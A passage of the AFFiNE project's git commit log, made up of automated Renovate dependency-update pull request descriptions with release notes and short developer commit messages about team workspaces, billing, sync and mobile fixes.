[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.0.0...v10.1.0)

##### Features

-   Add window events "pagehide" / "pageshow" ([#&#8203;1308](https://redirect.github.com/testing-library/dom-testing-library/issues/1308)) ([56543d5](https://redirect.github.com/testing-library/dom-testing-library/commit/56543d51a8776d3bc7fa9b947771ce5308bf5df4))

### [`v10.0.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.0.0)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v9.3.4...v10.0.0)

##### Bug Fixes

-   use defineProperty on the error object instead of setting the message directly ([#&#8203;1268](https://redirect.github.com/testing-library/dom-testing-library/issues/1268)) ([3580f25](https://redirect.github.com/testing-library/dom-testing-library/commit/3580f25bd765cedb70889b2cf716085023d8c314)), closes [#&#8203;1259](https://redirect.github.com/testing-library/dom-testing-library/issues/1259)

##### Features

-   Drop support for Node.js 14.x and Node.js 16.x and add support for Node 20.x ([#&#8203;1255](https://redirect.github.com/testing-library/dom-testing-library/issues/1255)) ([452097b](https://redirect.github.com/testing-library/dom-testing-library/commit/452097b35a207341f5328b997dfc901461a4e9d9))
-   upgrade aria-query to 5.3.0 ([#&#8203;1241](https://redirect.github.com/testing-library/dom-testing-library/issues/1241)) ([2c57055](https://redirect.github.com/testing-library/dom-testing-library/commit/2c570553d8f31b008451398152a9bd30bce362b3)), closes [#&#8203;1240](https://redirect.github.com/testing-library/dom-testing-library/issues/1240)

##### BREAKING CHANGES

-   Minimum supported Node.js version is 18.0
-   New version of `aria-query` changes various roles. Check out the changed tests in [`2c57055`](https://redirect.github.com/testing-library/dom-testing-library/commit/2c57055) to get an overview about what changed.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 10:42:20 +00:00
pengx17 59f4f1e51d fix(core): at menu results use indexer data source (#9123)
fix AF-1942

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/51f7d691-4e6c-44e7-92ac-944b0d886683.png)
2024-12-12 10:17:15 +00:00
darkskygit 56c573ebf3 fix(server): accept invite condition (#9124) 2024-12-12 10:01:13 +00:00
devin-ai-integration e100d252b2 fix(core): add null checks for timeout refs and event listeners for React 19 compatibility (#9116)
## Description
- Add null checks before clearTimeout calls in colorful-fallback.tsx, edgeless.dialog.tsx, and local.dialog.tsx
- Fix event listener cleanup in unfolding.tsx
- Update tsconfig.jsx to use react-jsx transform

## Testing
- [x] Verified type safety improvements for React 19 compatibility
- [x] Ensured proper cleanup of event listeners and timeouts
- [x] Confirmed no unintended side effects from the changes

Link to Devin run: https://app.devin.ai/sessions/2e790f3ea0d84402837ec6c3c6f83e4c
2024-12-12 09:43:42 +00:00
JimmFly dd39d049fe feat(core): improve invite link (#9111) 2024-12-12 17:43:19 +08:00
darkskygit cdb55a3393 chore(server): filter out some logs (#9059) 2024-12-12 09:19:48 +00:00
darkskygit 69e5997608 feat(server): team mail sender (#9104)
fix AF-1914
2024-12-12 07:33:32 +00:00
darkskygit 350696c861 fix(server): invite link & accept (#9109)
fix AF-1920
2024-12-12 07:33:30 +00:00
CatsJuice 5dd2dddd74 feat(mobile): show page back by url search (#9100)
close AF-1911
2024-12-12 07:14:05 +00:00
CatsJuice 84df2a1d16 fix(mobile): disable navigation gesture for swipe-dialog (#8993) 2024-12-12 06:55:16 +00:00
JimmFly 01b6e43c1f fix(core): the member list is not refreshed after operating the member status (#9115)
close AF-1939 AF-1938

fix(core): the member list is not refreshed after operating the member status

chore: temporarily remove the workspace AI switch
2024-12-12 06:33:10 +00:00
JimmFly c0e0b12857 fix(core): wrong billing information display (#9117)
close AF-1935 AF-1933

fix(core): wrong billing information display

fix(core): add reminder for no cloud workspace in upgrade to team page
2024-12-12 06:16:31 +00:00
renovate 595125ebb3 chore: migrate renovate config (#9114)
The Renovate config in this repository needs migrating. Typically this is because one or more configuration options you are using have been renamed.

  You don't need to merge this PR right away, because Renovate will continue to migrate these fields internally each time it runs. But later some of these fields may be fully deprecated and the migrations removed. So it's a good idea to merge this migration PR soon.

🔕 **Ignore**: Close this PR and you won't be reminded about config migration again, but one day your current config may no longer be valid.

 Got questions? Does something look wrong to you? Please don't hesitate to [request help here](https://redirect.github.com/renovatebot/renovate/discussions).

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
2024-12-12 04:08:55 +00:00
renovate 7541bf3107 chore: bump up @types/graphql-upload version to v17 (#9005)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@types/graphql-upload](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/graphql-upload) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/graphql-upload)) | [`^16.0.7` -> `^17.0.0`](https://renovatebot.com/diffs/npm/@types%2fgraphql-upload/16.0.7/17.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fgraphql-upload/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fgraphql-upload/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fgraphql-upload/16.0.7/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fgraphql-upload/16.0.7/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 03:52:01 +00:00
renovate 372f6893d6 chore: bump up oxlint version to v0.15.0 (#9096)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.14.1` -> `0.15.0`](https://renovatebot.com/diffs/npm/oxlint/0.14.1/0.15.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.14.1/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.14.1/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.0`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.0): oxlint v0.15.0

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.14.1...oxlint_v0.15.0)

#### \[0.15.0] - 2024-12-10

-   [`39b9c5d`](https://redirect.github.com/oxc-project/oxc/commit/39b9c5d) linter: \[**BREAKING**] Remove unmaintained security plugin ([#&#8203;7773](https://redirect.github.com/oxc-project/oxc/issues/7773)) (Boshen)

##### Features

-   [`065f7dc`](https://redirect.github.com/oxc-project/oxc/commit/065f7dc) linter: Support `expectTypeOf`, `assert` and `assertType` in `vitest/expect-expect` ([#&#8203;7742](https://redirect.github.com/oxc-project/oxc/issues/7742)) (Yuichiro Yamashita)
-   [`3d5f0a1`](https://redirect.github.com/oxc-project/oxc/commit/3d5f0a1) linter/no_restricted_imports: Add the no_restricted_imports rules ([#&#8203;7629](https://redirect.github.com/oxc-project/oxc/issues/7629)) (Guillaume Piedigrossi)

##### Bug Fixes

-   [`ad27b20`](https://redirect.github.com/oxc-project/oxc/commit/ad27b20) linter: Only resolve esm files for import plugin ([#&#8203;7720](https://redirect.github.com/oxc-project/oxc/issues/7720)) (Boshen)
-   [`5e6053f`](https://redirect.github.com/oxc-project/oxc/commit/5e6053f) linter: False positive in `eslint/yoda` ([#&#8203;7719](https://redirect.github.com/oxc-project/oxc/issues/7719)) (dalaoshu)

##### Refactor

-   [`c6a19aa`](https://redirect.github.com/oxc-project/oxc/commit/c6a19aa) linter: Remove unused `serde` features ([#&#8203;7738](https://redirect.github.com/oxc-project/oxc/issues/7738)) (Boshen)
-   [`b9a2b35`](https://redirect.github.com/oxc-project/oxc/commit/b9a2b35) linter: Remove `aho-corasick` ([#&#8203;7718](https://redirect.github.com/oxc-project/oxc/issues/7718)) (Boshen)

##### Testing

-   [`62f0a22`](https://redirect.github.com/oxc-project/oxc/commit/62f0a22) linter: Port `react-jsx-uses-vars` rules to no_unused_vars ([#&#8203;7731](https://redirect.github.com/oxc-project/oxc/issues/7731)) (Tyler Earls)
-   [`02f9903`](https://redirect.github.com/oxc-project/oxc/commit/02f9903) linter: Add regression tests for `import/namespace` ([#&#8203;7723](https://redirect.github.com/oxc-project/oxc/issues/7723)) (dalaoshu)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 03:09:20 +00:00
pengx17 ae2d0c3bcf fix(core): tag inline editor filter should ignore case (#8936)
fix PD-1891
2024-12-12 02:49:32 +00:00
EYHN 91089ff5a2 fix(core): fix sign in with email (#9108) 2024-12-12 02:48:36 +00:00
pengx17 fea4777ef2 chore(core): at menu journal entry tracking (#9054)
fix AF-1844
2024-12-12 02:25:01 +00:00
pengx17 30d6793978 feat(core): add journal search results to bs doc search (#9052)
fix AF-1842
2024-12-12 02:25:00 +00:00
renovate 21969731a3 chore: bump up @nestjs/throttler version to v6.3.0 (#9095)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/throttler](https://redirect.github.com/nestjs/throttler) | [`6.2.1` -> `6.3.0`](https://renovatebot.com/diffs/npm/@nestjs%2fthrottler/6.2.1/6.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fthrottler/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fthrottler/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fthrottler/6.2.1/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fthrottler/6.2.1/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/throttler (@&#8203;nestjs/throttler)</summary>

### [`v6.3.0`](https://redirect.github.com/nestjs/throttler/blob/HEAD/CHANGELOG.md#630)

[Compare Source](https://redirect.github.com/nestjs/throttler/compare/v6.2.1...v6.3.0)

##### Minor Changes

-   [`fc93f3a`](https://redirect.github.com/nestjs/throttler/commit/fc93f3a): pass context to getTraker as a second arg

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 02:06:39 +00:00
forehalo cc217425db ci: fix release action 2024-12-11 23:00:14 +08:00
EYHN 0c0722c650 feat(nbstore): add blob sync frontend (#9084) 2024-12-11 12:39:26 +00:00
liuyi a67fbc9448 ci: fix release script (#9107) 2024-12-11 11:18:13 +00:00
pengx17 01effaa0f1 fix(core): doc header drag preview styles (#9105) 2024-12-11 10:34:58 +00:00
DarkSky 9b0f1bb293 feat(server): improve team invite (#9092) 2024-12-11 18:00:49 +08:00
liuyi 671c41cb1a fix(server): should drop blob steam if not used (#9103) 2024-12-11 17:59:59 +08:00
JimmFly 4eb31444a9 fix(core): optimize upgrade to team page (#9099) 2024-12-11 17:59:46 +08:00
Peng Xiao b864cbf9d3 fix(core): backlink preview should use sans font family (#9102) 2024-12-11 17:59:04 +08:00
pengx17 dc7d128252 feat(core): allow bs snapshot dragging targets (#9093)
fix AF-1924, AF-1848, AF-1928, AF-1931

dnd between affine & editor

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">20241210-1217-49.8960381.mp4</video>
2024-12-11 08:12:01 +00:00
EYHN 331e674e8b feat(nbstore): add doc sync frontend (#9070) 2024-12-11 07:53:25 +00:00
forehalo eee0ed45ee chore: selfhost compose backward compatibility (#9098) 2024-12-11 06:24:53 +00:00
JimmFly 216e09e1af feat(core): add workspace quota panel for team workspace (#9085)
close AF-1917 AF-1685 AF-1730
2024-12-10 12:32:01 +00:00
JimmFly f63dacd553 fix(core): workspace billing cannot be opened (#9091) 2024-12-10 12:14:59 +00:00
forehalo 2f80b4f822 feat(nbstore): add cloud implementation (#8810) 2024-12-10 10:48:27 +00:00
liuyi 1721875ab6 fix(server): minize checkout parameters (#9090) 2024-12-10 08:24:28 +00:00
EYHN 18d65dff0e fix(core): share page show 404 (#9083) 2024-12-10 07:43:31 +00:00
github-actions[bot] ffad1155ff chore(i18n): sync translations (#9089)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: forehalo <forehalo@gmail.com>
2024-12-10 07:43:14 +00:00
liuyi c0938bd0d5 chore(server): team free trial control logic is not ready (#9088) 2024-12-10 15:36:27 +08:00
forehalo 9780ab6fa2 chore: fix oxlint (#9086) 2024-12-10 07:04:57 +00:00
EYHN 35edf389b5 feat(nbstore): better doc sync logic (#9037) 2024-12-10 06:49:21 +00:00
JimmFly 0a7a2c3083 feat(core): add workspace billing (#9043) 2024-12-10 06:31:36 +00:00
JimmFly 612310bc26 feat(core): impl team workspace (#8920)
AF-1738 AF-1735 AF-1731 AF-1721 AF-1717 AF-1736 AF-1727 AF-1719 AF-1877
UI for team workspaces :
- add upgrade to team & successful upgrade page ( `/upgrade-to-team` & `/upgrade-success/team`)
- update team plans on pricing page ( settings —> pricing plans )
- update reaching the usage/member limit modal
- update invite member modal
- update member CRUD options
2024-12-10 06:31:36 +00:00
forehalo 5d25580eff chore(graphql): update schema 2024-12-10 14:31:03 +08:00
forehalo 564faa439a fix(server): should auto apply ea price for users (#9082) 2024-12-10 05:31:19 +00:00
darkskygit 36a95463b4 feat(server): team quota migration (#9081) 2024-12-10 04:46:11 +00:00
Brooooooklyn adc69548ef feat(ios,android): setup uniffi infra (#8828) 2024-12-10 03:43:35 +00:00
liuyi 95597ec139 chore(server): local data migration env (#9080) 2024-12-10 03:42:59 +00:00
darkskygit 4d44bcc145 fix(server): image action behavior in ci (#9077) 2024-12-10 02:54:31 +00:00
pengx17 ec140da0d9 feat(core): remember backlink open/close state (#9073)
fix AF-1850, AF-1883
2024-12-10 02:28:20 +00:00
pengx17 4335b0dc79 feat(core): add draghandle to doc page title (#9079)
fix AF-1846
2024-12-10 02:13:09 +00:00
forehalo 115caa7cc6 fix(server): wrong stripe checkout params (#9056) 2024-12-10 01:56:58 +00:00
L-Sun 720f6c6a58 chore(mobile): set doc readonly in edgeless mode (#9068)
Close [BS-1984](https://linear.app/affine-design/issue/BS-1984/edgeless-禁用编辑后,白板上,image-block-chat-block-可以移动), [BS-1918](https://linear.app/affine-design/issue/BS-1918/edgeless-移动端只读模式下,应当是单指移动,双指缩放), [BS-2035](https://linear.app/affine-design/issue/BS-2035/切换-edgeless-view-变为只读)
2024-12-10 01:39:30 +00:00
forehalo 1514e1269d fix: add explicit db name and user to pg_isready check
commit 783fd4d5f3
Author: forehalo <forehalo@gmail.com>
Date:   Mon Dec 9 20:55:43 2024 +0800

    chore: fix lint error

commit 0cf3740488
Author: Charles SENGES <charles.senges.io+github@protonmail.com>
Date:   Sun Dec 8 01:05:36 2024 +0100

    fix(compose.yaml): add explicit db name and user to pg_isready check
2024-12-10 09:38:19 +08:00
renovate b55ec58bb8 chore: bump up @blocksuite/affine version to v0.18.5 (#9078)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.4` -> `0.18.5`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.4/0.18.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.4/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.4/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.5`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0185)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.4...v0.18.5)

##### Patch Changes

-   [`ec2956c`](https://redirect.github.com/toeverything/blocksuite/commit/ec2956c): ## Feat

    -   feat: api for encode and decode dnd data ([#&#8203;8909](https://redirect.github.com/toeverything/blocksuite/issues/8909))
    -   feat(blocks): add event tracking for linked doc ([#&#8203;8876](https://redirect.github.com/toeverything/blocksuite/issues/8876))
    -   feat(playground): outside click to close docs panel ([#&#8203;8885](https://redirect.github.com/toeverything/blocksuite/issues/8885))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 13:18:12 +00:00
renovate 1673a59104 chore: bump up nestjs to v10.4.15 (#9075)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

